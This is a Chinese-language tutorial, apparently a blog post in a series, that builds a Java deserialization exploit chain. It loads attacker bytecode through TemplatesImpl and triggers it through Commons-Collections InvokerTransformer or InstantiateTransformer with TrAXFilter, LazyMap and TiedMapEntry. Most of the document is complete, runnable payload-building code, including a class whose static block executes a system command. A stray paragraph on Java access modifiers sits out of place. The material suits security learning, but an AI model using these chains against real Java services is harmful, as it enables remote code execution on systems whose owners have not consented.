特点
更换命令执行方式,之前是
Runtime.getRuntime().exec("calc");
,但很多时候可能存在Runtime过滤的情况,因此将执行命令方式更换为类动态加载执行命令
找链子
在
中提到动态加载过程:loadClass->findClass(重写的方法)->defineClass(从字节码加载)
因此我们可以使用defineClass加载我们生成好的执行命令对象,defineClass只能是加载,加载后的class对象还需要进行newinstance实例化才能执行代码块
此处选择的是TemplatesImpl类,查看该类的defineClass方法,可以看到是Class类
public:希望方法对所有类都可见且可访问时,例如公共
API 的方法。
private:希望方法只在类内部使用时,例如辅助性方法,不希望暴露给其他类使用。
protected:希望方法可以在同一个包内以及在子类中使用时,例如需要扩展和重写的方法。
默认(包私有):希望方法只在同一个包内使用,不希望暴露给其他包或子类时。
1 2 3 4 5 6
|
Class defineClass(final byte[] b) { return defineClass(null, b, 0, b.length); }
|
此处的b应该传入构造的用于执行代码的对象的字节
首先创建该字节,构造一段执行代码的代码,然后编译,在out文件夹中找到对应的class文件,此处我生成的的是Hello.class文件,读取文件字节代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| byte[] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class"));
\\ Hello.java: import java.io.IOException;
public class Hello { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } }
|
因此应该想办法将这个code传入到上面的defineClass,同时再想办法执行newinstance进行实例化才能执行静态代码块,而上面的defineClass是不允许外部调用的,查看其调用过程
在TemplatesImpl类的defineTransletClasses方法中实现了唯一的调用,此处有几个地方需要注意,首先是_bytecodes变量不能为null,并且可以看到传入的对象是_bytecodes[i],因此_bytecodes实际上应该是一个二维数组,还有就是_tfactory也不能为空,否则无法执行到下面的语句

下面还有一个值得注意的地方,此处的_auxClasses只有在classCount大于1的时候才执行,而下面if语句中只有获取到加载的我们的类的父类和ABSTRACT_TRANSLET相等才不能进入else语句,因此此处可以使classCount数量大于1

最后假设我们能够顺利加载类,还应该对加载的类进行实例化才能执行我们的静态代码块,因此继续找调用defineTransletClasses方法并且进行实例化的函数,此处找到的是getTransletInstance方法,如下所示,该方法在调用defineTransletClasses之后对加载的类_class进行了实例化

代码构造
首先新建TemplatesImpl类
1
| TemplatesImpl templates = new TemplatesImpl();
|
然后确定_name变量不能为空,_class变量不能为空,_transletIndex变量不能为-1,_tfactory变量不能为空,_bytecodes长度应该为2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| Class clazz = TemplatesImpl.class; Field field = clazz.getDeclaredField("_name"); field.setAccessible(true); field.set(templates, "123"); byte[] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class")); byte[] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class")); field = clazz.getDeclaredField("_bytecodes"); field.setAccessible(true);
field.set(templates, new byte[][]{code, code2}); field= clazz.getDeclaredField("_tfactory"); field.setAccessible(true); field.set(templates, new TransformerFactoryImpl()); field= clazz.getDeclaredField("_transletIndex"); field.setAccessible(true); field.set(templates, 0);
|
由于getTransletInstance是private,因此找到调用该方法的public方法newTransformer

调用构造的TemplatesImpl对象的newTransformer方法就可以执行我们的代码

为了实现反序列化执行代码,可以直接使用前两篇中的InvokerTransformer的transformer漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| TemplatesImpl templates = new TemplatesImpl(); Class clazz = TemplatesImpl.class; Field field = clazz.getDeclaredField("_name"); field.setAccessible(true); field.set(templates, "123"); byte[] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class")); byte[] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class")); field = clazz.getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templates, new byte[][]{code, code2}); field= clazz.getDeclaredField("_tfactory"); field.setAccessible(true); field.set(templates, new TransformerFactoryImpl()); field= clazz.getDeclaredField("_transletIndex"); field.setAccessible(true); field.set(templates, 0);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}), }; ChainedTransformer transformerChain = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map tmplazymap= LazyMap.decorate(map,transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(map,"1"); HashMap hashMap = new HashMap<>(); hashMap.put(tiedMapEntry,"2"); Class tiedMapEntryClass = TiedMapEntry.class; Field tiedMapEntryClassDeclaredField = tiedMapEntryClass.getDeclaredField("map"); tiedMapEntryClassDeclaredField.setAccessible(true); tiedMapEntryClassDeclaredField.set(tiedMapEntry,tmplazymap); serialize(hashMap); unserialize("data.bin");
|
除了使用InvokerTransformer的transform方法漏洞,此处还能调用InstantiateTransformer方法,原理是实现调用构造的TemplatesImpl对象的newTransformer方法
1 2 3 4 5 6 7 8 9 10 11 12
|
public InstantiateTransformer(Class[] paramTypes, Object[] args) { super(); iParamTypes = paramTypes; iArgs = args; }
|
该方法的transform方法实现了构造input的构造函数,并以输入的Class数组作为传输传递

这里使用的是TrAXFilter类,就相当于TrAXFilter将要接受iParamTypes类型的class的参数进行实例化,因为TrAXFilter的初始化函数中实现了调用输入参数的newTransformer方法
1 2 3 4 5 6 7 8
| public TrAXFilter(Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
|
因此上面的iParamTypes应该是templates的class类型,iArgs就是templates
InstantiateTransformer类的构造方法如下
1 2
| InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}); instantiateTransformer.transform(TrAXFilter.class);
|
最后将InstantiateTransformer类放入transformerChain中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| TemplatesImpl templates = new TemplatesImpl(); Class clazz = TemplatesImpl.class; Field field = clazz.getDeclaredField("_name"); field.setAccessible(true); field.set(templates, "123"); byte[] code= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Hello.class")); byte[] code2= Files.readAllBytes(Paths.get("D:\\java workforse\\java_deserialization\\Test.class")); field = clazz.getDeclaredField("_bytecodes"); field.setAccessible(true); field.set(templates, new byte[][]{code, code2}); field= clazz.getDeclaredField("_tfactory"); field.setAccessible(true); field.set(templates, new TransformerFactoryImpl()); field= clazz.getDeclaredField("_transletIndex"); field.setAccessible(true); field.set(templates, 0);
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}), }; ChainedTransformer transformerChain = new ChainedTransformer(transformers); HashMap<Object,Object> map = new HashMap<>(); Map tmplazymap= LazyMap.decorate(map,transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(map,"1"); HashMap hashMap = new HashMap<>(); hashMap.put(tiedMapEntry,"2"); Class tiedMapEntryClass = TiedMapEntry.class; Field tiedMapEntryClassDeclaredField = tiedMapEntryClass.getDeclaredField("map"); tiedMapEntryClassDeclaredField.setAccessible(true); tiedMapEntryClassDeclaredField.set(tiedMapEntry,tmplazymap); serialize(hashMap); unserialize("data.bin");
|